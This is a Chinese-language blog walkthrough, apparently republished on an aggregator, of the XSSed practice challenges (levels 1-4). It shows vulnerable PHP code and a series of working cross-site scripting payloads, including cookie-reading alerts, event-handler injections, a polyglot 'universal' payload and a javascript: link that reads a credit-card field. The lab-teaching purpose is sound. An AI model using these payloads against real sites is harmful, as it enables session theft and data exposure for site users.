XSSed通关教程

news2024/9/27 21:25:02

XSSed通关教程

首先整体浏览网站

在这里插入图片描述

进入Level1 Basic XSS

首先整体浏览网站

在这里插入图片描述

对源码进行分析

漏洞产生于如下代码段:

echo($_GET[‘q’]);

直接将用户输入插入了html页面,没有任何过滤。

  • 构造普通payload:

<script>alert(/xss/)</script>

页面弹窗成功

在这里插入图片描述

  • 构造获取cookie的payload:

<script>alert(document.cookie)</script>

成功弹出cookie

在这里插入图片描述

  • 构造a链接的xss的payload:
<a href="javascript:alert('xss')">xss</a>

点击xss链接成功弹窗

在这里插入图片描述

  • 构造加载图形失败执行的payload:
<img src=x onerror=alert(1)>

成功弹窗

在这里插入图片描述

  • 构造iframe框架payload:
<iframe onload=alert('xss')>

成功弹窗

在这里插入图片描述

  • 构造svg标签payload
<svg onload=alert(1)>

成功弹窗

在这里插入图片描述

  • 构造video标签payload
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />

成功弹窗

在这里插入图片描述

  • 构造body标签payload

<body onload=alert(1)>

成功弹窗

在这里插入图片描述

  • 构造style标签payload

<style onload=alert(1)></style>

成功弹窗

在这里插入图片描述

  • 构造input标签payload

<input onmouseover=alert(1)>

当鼠标移动到空白位置,成功弹窗

在这里插入图片描述

万能xss的payload

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNclJavaScript XSSiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

进入Level2 JavaScript XSS

首先整体浏览网页

在这里插入图片描述

对源码进行分析

漏洞产生于如下代码段:

$q = $_GET['q'];
<script type="text/javascript">
var search_term = " $q";
</script>
  • 构造普通payload:

<script>alert(/xss/)</script>

弹窗失败,查看页面回显的代码

在这里插入图片描述

与basic xss将输入插入到html中不同,这里把输入未经过滤插入了JavaScript代码段。因为在字符串中,需要闭合两边的引号,构造如下payload:

a";alert(1);var q="a

成功弹窗

在这里插入图片描述

  • 构造加载图形失败执行的payload:
<img src=x onerror=alert(1)>

成功弹窗

在这里插入图片描述

进入Level3 Filtered XSS

首先整体浏览网页

在这里插入图片描述

对源码进行分析

漏洞产生于如下代码段:

$id = str_replace('"', '&quot;', $_GET['id']);
$creditcard = $_GET['creditcard'];
$creditcard = preg_replace('/([^\s])([A-Za-z\\"\\\'])/', '', $creditcard);
print <<<END
<h1>Please Confirm Your Order</h1>
<div id="creditcard">$creditcard</div>
<script type="text/javascript">
var q = "$id";
document.write("<!-- " + q + "-->");
</script>
END;

从源码中可以看出,过滤creditcard的正则非常完善,而对变量id只是转义了一下双引号(所以用双引号闭合是插不进去的)。这里体现了木桶原理,只要有一个可控输入位置成为插入点,其它输入的过滤再严格也没有意义。

  • 构造普通payload:

<script>alert(1);</script>

查看回显html页面代码:

在这里插入图片描述

有两处值得我们注意:

1、我们的输入\alert(1);\被过滤得只剩下 t(1) ,可见后端的正则过滤比较完善;

2、html后半部分有一个JavaScript代码段,其中有一个变量q,它先被赋值为123,然后被用注释符包裹,最后写入到到页面中,如果我们可以控变量q的值,闭合注释,就能利用document.write()函数向页面中插入js代码。

再回到前端看看有没有可能控制变量q,发现:

在这里插入图片描述

有一个变量id的默认值为123,它的属性被设置为hidden,可以想到这里的id就是后端的q,我们将hidden改为text,页面上就会多出一个id的输入框。

在这里插入图片描述

值得注意的是,因为是插入到js代码段中,而html又是一种从前往后遇到匹配的标签就解析的语言,所以不能使用</script>标签,否则会使该代码段的\<script>标签提前被闭合而产生混乱,就像下面这样:

在这里插入图片描述

那要如何插入js代码呢?这里就要用到一个伪协议:

javascript:[code]

直观上来说,这个伪协议可以让一个放url链接的地方,执行js代码,比如:

<a href="http://fdujwc.cn" target='_blank'>点这里跳转链接</a>
<a href=javascript:alert(1); target='_self'>点这里执行js代码</a>
这里之所以用不同的target属性是因为我使用的博客框架对<a>有一个默认值target='_blank',这个标签导致新打开一个窗口,会影响js代码在当前页面的执行。

现在,我们运用这个伪协议,构造payload:

id=--><a href=javascript:alert(1);>click</a><!--

点击click成功弹窗

在这里插入图片描述

另外,题目要求alert出creditcard的值,所以还要把alert内的东西完善一下,最终payload:

--><a href=javascript:alert(document.getElementById('creditcard').innerHTML);>click</a><!--

点击click成功弹窗

在这里插入图片描述

进入Level4 Chained XSS

首先整体浏览网站

在这里插入图片描述

  • 构造普通payload:

<script>alert(/xss/)</script>

页面弹窗成功

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/186879.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

剑指 Offer II 004. 只出现一次的数字

题目链接 剑指 Offer II 004. 只出现一次的数字 mid 题目描述 给你一个整数数组 nums&#xff0c;除某个元素仅出现 一次 外&#xff0c;其余每个元素都恰出现 三次 。请你找出并返回那个只出现了一次的元素。 示例 1&#xff1a; 输入&#xff1a;nums [2,2,3,2] 输出&…

LeetCode042之接雨水(相关话题:动态规划,单调栈)

题目描述 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图&#xff0c;计算按此排列的柱子&#xff0c;下雨之后能接多少雨水。 示例 1&#xff1a; 输入&#xff1a;height [0,1,0,2,1,0,1,3,2,1,2,1] 输出&#xff1a;6 解释&#xff1a;上面是由数组 [0,1,0,2,1,0,1,3,…

vue复习+vuex

一、vue.js的基本指令1、Vue的作用&#xff1a;快速的构建前端页面&#xff08;封装了html、css、js&#xff09;,以工程化的方式进行前端的开发2、Vue的核心&#xff1a;&#xff08;1&#xff09;组件化&#xff1a;&#xff08;2&#xff09;数据双向绑定&#xff08;3&…

linux基本功系列之sudo命令实战一

文章目录一.sudo命令介绍二. 语法格式及常用选项三. sudo配置文件详解3.1 sudo的配置文件3.2 配置文件注释3.3 sudo授权规则四. sudo常用参数实战 参考案例4.1 查看当前用户有哪些被sudo服务授权的命令4.2 结束密码的有效期4.3 限制用户的权限总结前言&#x1f680;&#x1f68…

3分钟解读ISO27001信息安全管理体系

一、什么是ISO27001 ISO27001是信息安全管理体系认证&#xff0c;对应国标号GB/T22080-2016&#xff0c;企业建立ISO27001体系能有效保证企业在信息安全领域的可靠性&#xff0c;降低企业泄密风险&#xff0c;更好的保存核心数据和重要信息。 信息安全对每个企业都是非常重要的…

Spring Cloud 高频面试题25连环炮!

今天给大家分享SpringCloud高频面试题。 Spring Cloud核心知识总结 下面是一张Spring Cloud核心组件关系图&#xff1a; 从这张图中&#xff0c;其实我们是可以获取很多信息的&#xff0c;希望大家细细品尝。 话不多说&#xff0c;我们直接开始 Spring Cloud 连环炮。 连环…

【算法基础】链表与邻接表

在机试、面试中,使用链表通常不是结构体构建Node,申请新节点new操作,因为速度过慢,申请10w量级的空节点就已经超时了。因为在算法竞赛中,常常使用 一、数组模拟单链表【⭐邻接表(n个链表)⭐】 邻接表(n个链表)最主要的应用是存储图和存储树。 建表、插入、删除操作…

ThinkPad R490电脑开机之后无线重启怎么重装系统?

ThinkPad R490电脑开机之后无线重启怎么重装系统&#xff1f;有用户使用ThinkPad R490电脑正常开机的情况下&#xff0c;出现了系统自动重启的情况&#xff0c;无法正常的使用电脑了。遇到这个情况怎么去重装一个新的电脑系统&#xff0c;恢复正常使用呢&#xff1f;来看看以下…

17. datetime模块

python 标准库中的 datetime 模块提供了和日期和时间相关的类。 类功能datetime.date以年、月和日表示日历中的日期datetime.time以小时、分钟和秒表示一天中的时间datetime.datetime以年、月、日、小时、分钟和秒表示日期和时间datetime.timedelta表示一个时间段&#xff0c;…

什么蓝牙耳机便宜音质好?平价高音质蓝牙耳机推荐

随着蓝牙耳机的品类越来越多&#xff0c;人们在选择时有了更大的空间。作为蓝牙耳机选择的两大参考要素&#xff0c;性价比和音质的出现频率相对来说会比较高。那么&#xff0c;什么蓝牙耳机便宜音质好&#xff1f;下面&#xff0c;我来给大家推荐几款平价高音质的蓝牙耳机&…

初探机器学习-梯度下降法求解最优值

文章目录什么是模型如何训练模型1、拟定假设函数2、损失函数和代价函数3、关于导数和偏导数4、使用梯度下降法求解最优值5、回顾总结三、衡量一个模型的好坏模型验证1、简单交叉验证2、K 折交叉验证3、留一交叉验证过拟合什么是模型 只要是从事IT行业&#xff0c;想必都对机器…

基于Android的房屋租赁系统

需求信息&#xff1a; 房东客户端&#xff1a; 1&#xff1a;注册登录&#xff1a;使用分配的账号进行登录&#xff1b; 2&#xff1a;发布房源&#xff1a;房主可以发布自己的房源信息&#xff1b; 3&#xff1a;预约信息&#xff1a;查看租客的预约看房信息&#xff1b; 4&am…

sqllineage解析FineBI数据集导入Datahub生成血缘

需求 当前数仓架构流程图如下图所示&#xff0c;不支持端到端数据血缘&#xff0c;数据异常排查及影响分析比较被动&#xff0c;需要端到端数据血缘及元数据管理。 业务系统&#xff1a;各种制造业业务系统&#xff08;高速迭代、重构、新建中&#xff09; 数仓开发平台&…

jChartFX Plus JavaScript 7.6.7367 Crack

jChartFX Plus包括 jChartFX 的所有功能和其他画廊类型、高级商业智能功能和用于您的 Web 或移动应用程序的仪表板功能。新的 jChartFX Plus 为您提供额外的能力来开发完整的商业仪表板和商业智能应用程序 在最新的 jChartFX Plus 中&#xff0c;我们引入了象形图和象形图条控件…

仿牛客论坛项目Docker部署(ElasticSearch+Redis+Kafka+MySQL)

仿牛客论坛项目项目部署(docker)1.ElasticSearch安装本体安装ik插件2.Zookeeper3.Kafka测试是否启动成功4.MySQL启动mysql测试载入数据5.Redis6.DockerFile构建Java8项目部署成功参考项目部署(docker) 1.ElasticSearch 安装本体 mkdir -p /opt/docker/es/plugins #创建插件文…

jspssm小区车位物业管理系统

目 录 1 绪论 1 1.1 研究背景 1 1.2 小区物业管理系统的现状 1 1.3 系统实现的功能 1 1.4 小区物业管理系统的特点 2 1.5 本文的组织结构 2 1.6 系统分析 2 2 开发技术与环境配置 3 2.1 ssm框架 3 2.2 JSP技术 3 2.3 JavaScript 4 …

给Docker NodeRed 设置登陆账户

第一步&#xff1a;运行Nodered docker run -it --rm -e TZ"Asia/Shanghai" -p 1880:1880 -v node_red_data:/data --name mynodered nodered/node-red 进入web页面没有显示用户头像 第二步&#xff1a;进入容器 docker exec -it mynodered /bin/bash 退到根目录 …

AI算法工程师 | 09机器学习-概率图模型(三)隐马尔可夫模型 HMM

目录机器学习 - 概率图模型 之 隐马尔可夫模型 HMM一、马尔科夫链二、HMM 的基本概念1、HMM 背景与定义2、HMM 的两个基本假设3、确定 HMM 的两个空间和三组参数三、HMM 三个基本问题 | 导图四、HMM 相关算法1、前向算法2、维特比&#xff08;Viterbi&#xff09;算法五、案例&…

小红书购物笔记是什么

小红书购物笔记是什么 新手必看&#xff5c;12个小红书隐藏功能及操作玩法❗ #小红书#自媒体#新媒体#小红书隐藏功能#小红书运营#新手做小红书#小红书隐藏玩法#自媒体运营 hello&#xff0c;大家好&#xff0c;如果你刚好刷到这篇文章&#xff0c;说明你也是想做或正在做小红…

【内网安全】——msf木马生成教程

作者名&#xff1a;白昼安全主页面链接&#xff1a; 主页传送门创作初心&#xff1a; 一切为了她座右铭&#xff1a; 不要让时代的悲哀成为你的悲哀专研方向&#xff1a; web安全&#xff0c;后渗透技术每日emo&#xff1a; 钱真的是万能的一、msfvenom基本使用 1、–p (- -pay…